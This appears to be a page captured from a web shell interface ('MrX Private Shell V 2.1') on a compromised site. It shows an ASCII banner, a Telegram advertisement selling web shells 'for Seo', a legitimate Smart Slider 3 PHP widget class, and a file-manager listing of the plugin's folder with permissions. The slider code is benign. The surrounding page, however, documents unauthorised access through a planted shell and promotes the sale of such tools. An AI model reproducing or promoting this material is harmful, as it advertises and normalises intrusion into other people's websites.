__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\SmartSlider3\Widget;
use Nextend\Framework\View\Html;
class WidgetPlacementSimple extends WidgetPlacement {
public function add($renderCallback, $stack, $offset = 0) {
$this->items[] = array(
'stack' => $stack,
'renderCallback' => $renderCallback,
'offset' => $offset
);
}
public function render() {
usort($this->items, function ($a, $b) {
if ($a['stack'] == $b['stack']) {
return 0;
}
return ($a['stack'] < $b['stack']) ? -1 : 1;
});
$out = '';
foreach ($this->items as $item) {
$attributes = array();
if ($item['offset'] != 0) {
$attributes['style'] = '--widget-offset:' . $item['offset'] . 'px;';
}
$out .= call_user_func($item['renderCallback'], $attributes);
}
if (!empty($out)) {
return Html::tag('div', array(
'class' => 'n2-ss-slider-controls n2-ss-slider-controls-' . $this->name
), $out);
}
return '';
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Arrow | Folder | 0775 |
|
|
| Autoplay | Folder | 0775 |
|
|
| Bar | Folder | 0775 |
|
|
| Bullet | Folder | 0775 |
|
|
| Group | Folder | 0775 |
|
|
| Shadow | Folder | 0775 |
|
|
| Thumbnail | Folder | 0775 |
|
|
| AbstractWidget.php | File | 1.93 KB | 0664 |
|
| AbstractWidgetFrontend.php | File | 4.22 KB | 0664 |
|
| SliderWidget.php | File | 5.98 KB | 0664 |
|
| WidgetGroupFactory.php | File | 1.31 KB | 0664 |
|
| WidgetPlacement.php | File | 280 B | 0664 |
|
| WidgetPlacementAdvanced.php | File | 2.72 KB | 0664 |
|
| WidgetPlacementSimple.php | File | 1.13 KB | 0664 |
|